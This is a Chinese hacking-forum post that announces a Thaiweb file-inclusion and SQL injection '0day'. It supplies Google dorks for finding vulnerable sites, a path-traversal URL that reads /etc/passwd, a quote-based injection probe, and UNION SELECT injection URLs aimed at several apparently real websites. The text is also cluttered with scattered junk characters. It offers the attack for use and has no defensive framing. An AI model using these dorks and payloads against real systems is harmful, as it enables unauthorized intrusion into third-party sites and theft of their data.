找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2140|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Google之:- K" i+ v! t1 C+ v6 ]3 z1 o' a+ L

7 a+ R( j9 j6 mintext:powered by Thaiweb0 |) s( N& s% X: M
& T1 `% f- }7 C3 {( _
inurl:index.php?page=board.php: e, N! F& S" W/ e- j

7 L, f6 T% E& G" ~. P1 F
5 ~. k# ~- R7 o# z% m( Q% E* P1 @1 U# Q2 U' s7 a
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd- b, h& ?! Z  X3 u

1 L' c$ T! L3 ]# T0 q; D- l7 E
3 f/ X6 B! @0 [6 s7 [% L  K6 L8 m5 [9 c4 d
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
  _& c3 q% P9 g; X/ b2 }3 m  F
- q  q6 N1 Z& b. i) \: e . P9 g) y0 [, H: f; `5 {
  [2 i% n; ?  A7 s7 _; g8 g: \% d
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--. H# h0 U1 Y6 p, w

+ C% J  o0 ]- d: V( Z: a) q8 Ahttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
; g% K1 G- ?3 m. M2 o ! L4 d2 R/ [- {3 h: J1 W7 B6 x
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
$ ]0 q! k- S2 }  n9 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表